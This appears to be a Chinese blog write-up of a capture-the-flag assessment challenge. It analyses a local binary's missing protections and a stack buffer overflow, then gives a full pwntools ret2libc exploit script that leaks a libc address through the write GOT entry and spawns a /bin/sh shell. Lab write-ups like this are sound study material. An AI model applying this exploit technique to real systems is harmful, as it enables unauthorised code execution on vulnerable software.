mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
203 字
1 分钟
12考核wp
2025-12-06

通过, checksec ./test 查看程序的保护机制

[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/work/test/test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

没有开启大部分保护

打开ida 分析代码发现此处代码存在 栈溢出漏洞

ssize_t __fastcall overflow(__int64 argc, __int64 argv, __int64 envp)
{
_QWORD buf[6]; // [rsp+0h] [rbp-30h] BYREF
memset(buf, 0, sizeof(buf));
write(1, "something!\n", 0xCu); // 0xC -> 13
return read(0, buf, 0x100u);
}

通过进一步分析发现

发现可用的gadget

gadgetaddress
ret0x40101a
pop rsi;pop r150x401221
pop rdi0x401223

发现可用的函数地址

functionAddress
main0x4011a
writegot
writeplt

所以可以得出如下攻击思路

  1. 通过 read 函数 劫持程序调用 write 泄露出 write的实际地址,从而计算出 libc.so.6 在内存中的基地址
  2. 跳转回main 函数,为第二次栈溢出创造条件
  3. 利用这个泄露出的libc地址进一步调用system 函数,同时从libc 中查找 /bin/sh\x00 字符串用于获取shell
  4. 获取shell

所以得到如下脚本

from pwn import *
context.log_level = "debug"
libc = ELF("./libc.so.6")
elf = ELF("./test")
p = process("./test")
# p.interactive()
offset = 6 * 8
ret = 0x40101a
poprsi_r15 = 0x401221
poprdi = 0x401223
mainAddr = 0x4011ab
writeGot = elf.got["write"]
writePlt = elf.plt["write"]
# writePlt = 0x401184
log.success(f"writeGot: {hex(writeGot)}")
log.success(f"writePlt: {hex(writePlt)}")
# mainAddr = elf.symbols["main"]
log.success(f"main: {hex(mainAddr)}")
# mian
payload1 = flat([
b"a" * 48,
p64(ret),
p64(mainAddr)
])
payload2 = flat([
b"a" * offset,
p64(ret),
p64(poprdi),
p64(1),
p64(poprsi_r15),
p64(writeGot),
p64(0),
p64(writePlt),
p64(mainAddr)
])
p.recvuntil(b"\n\x00")
# input(f"pwndbg -p {p.pid}")
# print("2 ==============================")
p.sendline(payload1)
print(p.recv())
p.sendline(payload2)
# input(f"pwndbg -p {p.pid}")
leakStr = p.recv()
leakStr = leakStr[:8]
leakAddr= u64(leakStr)
log.info(f"Got leakAddr: {hex(leakAddr)}")
libcAddr = leakAddr - libc.symbols["write"]
libc.address = libcAddr
systemAddr = libc.symbols["system"]
shAddr = next(libc.search(b"/bin/sh\x00"))
log.success(f"libcAddr: {hex(libcAddr)}")
log.success(f"SystemAddr: {hex(systemAddr)}")
log.success(f"shAddr: {hex(shAddr)}")
# p.recv()
# 3
payload3 = flat([
b"a" * offset,
p64(0),
p64(ret),
p64(poprdi),
p64(shAddr),
p64(systemAddr)
])
p.sendline(payload3)
p.interactive()

运行这个脚本呢就可以获得flag

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

12考核wp
https://yoyolp.github.io/posts/other/12kh/
作者
超级玉米人
发布于
2025-12-06
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录